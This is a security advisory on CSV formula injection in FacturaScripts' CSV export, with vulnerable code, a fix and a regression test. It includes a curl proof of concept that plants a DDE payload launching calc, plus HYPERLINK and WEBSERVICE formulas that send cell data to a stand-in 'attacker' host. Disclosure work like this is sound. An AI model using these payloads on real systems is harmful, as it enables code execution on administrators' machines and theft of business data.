FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export

Summary

Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with nombre = "=SUM(1+1)*cmd|/c calc!A1". An admin then exported ListCliente to CSV via ?action=export&option=CSV. The downloaded file contains the raw payload as the first cell of the nombre column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as =cmd|'/c calc'!A1 that spawn arbitrary processes on the admin workstation.

Core/Lib/Export/CSVExport.php::writeData() wraps every cell in the configured delimiter (") and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with =, +, -, @, \t, or \r as a formula. Because FacturaScripts only sanitises HTML metacharacters (< > " ') on save via Tools::noHtml() (Core/Tools.php:45), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.

Details

the export does not neutralise leading meta-characters

Core/Lib/Export/CSVExport.php:253-267:

public function writeData(array $data, array $fields = [])
{
    if (!empty($fields)) {
        $this->writeHeader($fields);
    }

    foreach ($data as $row) {
        $line = [];
        foreach ($row as $cell) {
            $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell;
        }

        $this->csv[] = implode($this->separator, $line);
    }
}

A string cell is rendered as "<value>". There is no str_starts_with(...) check for the formula trigger characters (= + - @ \t \r per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through addListModelPage(), addModelPage(), addBusinessDocPage(), and addTablePage().

the upstream sanitiser only scrubs HTML, not formulas

Core/Tools.php:45-46:

const HTML_CHARS = ['<', '>', '"', "'"];
const HTML_REPLACEMENTS = ['&lt;', '&gt;', '&quot;', '&#39;'];

Tools::noHtml() is the canonical input filter that models call from their test() method (e.g. Cliente::test() at Core/Model/Cliente.php:319-321). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the =, +, -, @ characters reach storage verbatim and the export pipeline emits them verbatim.

the export controller hands the payload back to whoever triggers it

Core/Lib/Export/CSVExport.php:240-245:

public function show(Response &$response)
{
    $response->headers->set('Content-Type', 'text/csv; charset=utf-8');
    $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv');
    $response->setContent($this->getDoc());
}

Content-Disposition: attachment plus an .csv extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.

default permission model exposes the data ingestion

A user role only needs Update/Insert access to one of the default exportable models (Cliente, Proveedor, Producto, Variante, Contacto, etc.) to plant a payload. The admin export surface is reachable on the same controllers via ?action=export&option=CSV. There is no separate confirmation step that warns the admin the export contains untrusted content.

PoC

# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.
#    (script in advisory environment, see also the prompt's helper).

# 1. Log in as the low-privilege user and obtain a CSRF token.
TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \
  | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1)
curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \
  --data-urlencode "fsNick=lowpriv" \
  --data-urlencode "fsPassword=lowpriv1234" \
  --data-urlencode "multireqtoken=$TOKEN" \
  --data-urlencode "action=login" \
  http://127.0.0.1:8081/login -o /dev/null

# 2. Get a fresh CSRF token for the EditCliente form.
TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \
  | grep -oP 'multireqtoken" value="\K[^"]+' | head -1)

# 3. Plant a Dynamic Data Exchange payload as the customer name.
curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \
  --data-urlencode "multireqtoken=$TOKEN" \
  --data-urlencode "action=insert" \
  --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \
  --data-urlencode "cifnif=11111111H" \
  -o /dev/null

# 4. As any admin, trigger the standard list-customers CSV export.
curl -s -b /tmp/fs-cookie2 \
  'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \
  -o /tmp/export.csv

# 5. Confirm the formula payload survives unsanitised.
grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv
# Output (verified):
# "11111111H";"";"1";"";...;"=SUM(1+1)*cmd|/c calc!A1";"";"";"";"=SUM(1+1)*cmd|/c calc!A1";...

Opening /tmp/export.csv in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs cmd /c calc. LibreOffice Calc evaluates =SUM(1+1)*cmd|/c calc!A1 and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.

Impact

• Code execution on admin workstations. The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover.
• Credential theft. Common variants (=HYPERLINK("https://attacker/?p=" & A1, "Click"), =WEBSERVICE("https://attacker/?p=" & A1)) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell.
• Trust laundering. Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply.
• Trivial preconditions. Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install.

AV:N (the attacker only needs an authenticated browser session), AC:L (single POST), PR:L (low-privilege role), UI:R (admin must download and open the CSV, but this is the standard accounting workflow), S:U (impact contained to FacturaScripts data + admin host), C:H I:H A:H (full read/write/execute on the admin workstation once the DDE/macro fires). Score 6.3.

Recommended Fix

Neutralise formula leaders at write time inside CSVExport::writeData() so the export pipeline itself enforces the protection regardless of upstream sanitisation.

private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"];

public function writeData(array $data, array $fields = [])
{
    if (!empty($fields)) {
        $this->writeHeader($fields);
    }

    foreach ($data as $row) {
        $line = [];
        foreach ($row as $cell) {
            if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) {
                $cell = "'" . $cell;          // force-as-text per OWASP CSV-injection prevention
            }

            $line[] = is_string($cell)
                ? $this->getDelimiter() . str_replace($this->getDelimiter(), $this->getDelimiter() . $this->getDelimiter(), $cell) . $this->getDelimiter()
                : $cell;
        }

        $this->csv[] = implode($this->separator, $line);
    }
}

Apply the same neutralisation in writeHeader(), in XLSExport::getCursorRawData() (lines 226-236 - the Tools::fixHtml helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats.

A regression test should:

1. Insert a customer with nombre = '=SUM(1+1)'.
2. Render the list to CSV via CSVExport->writeData().
3. Assert the resulting line begins with "'=SUM(1+1)", not "=SUM(1+1)".
4. Assert nombre containing an embedded delimiter (a"b) is correctly doubled to "a""b".

Defence in depth: emit Content-Type: text/csv; charset=utf-8 plus a Content-Disposition filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always *.csv, never *.xls or *.xlsx), and document in SECURITY.md that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.